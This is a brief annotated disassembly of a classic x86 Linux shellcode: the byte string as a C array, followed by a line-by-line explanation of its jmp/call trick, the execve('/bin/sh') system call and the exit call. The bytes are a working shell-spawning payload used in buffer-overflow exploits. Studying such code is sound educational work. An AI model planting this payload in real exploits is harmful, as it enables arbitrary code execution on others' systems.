Disassembly of:
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

0:  eb 1f                   jmp    0x21
2:  5e                      pop    esi
3:  89 76 08                mov    DWORD PTR [esi+0x8],esi  ; copy to esi+0x8
6:  31 c0                   xor    eax,eax
8:  88 46 07                mov    BYTE PTR [esi+0x7],al    ; place null char
b:  89 46 0c                mov    DWORD PTR [esi+0xc],eax
e:  b0 0b                   mov    al,0xb
10: 89 f3                   mov    ebx,esi
12: 8d 4e 08                lea    ecx,[esi+0x8]
15: 8d 56 0c                lea    edx,[esi+0xc]
18: cd 80                   int    0x80         ; execve("/bin/sh", ["/bin/sh"], 0)
1a: 31 db                   xor    ebx,ebx
1c: 89 d8                   mov    eax,ebx
1e: 40                      inc    eax
1f: cd 80                   int    0x80         ; exit(0)
21: e8 dc ff ff ff          call   0x2      ; push addr of "/bin/sh"
26: 2f 62 69 6e 2f 73 68    "/bin/sh"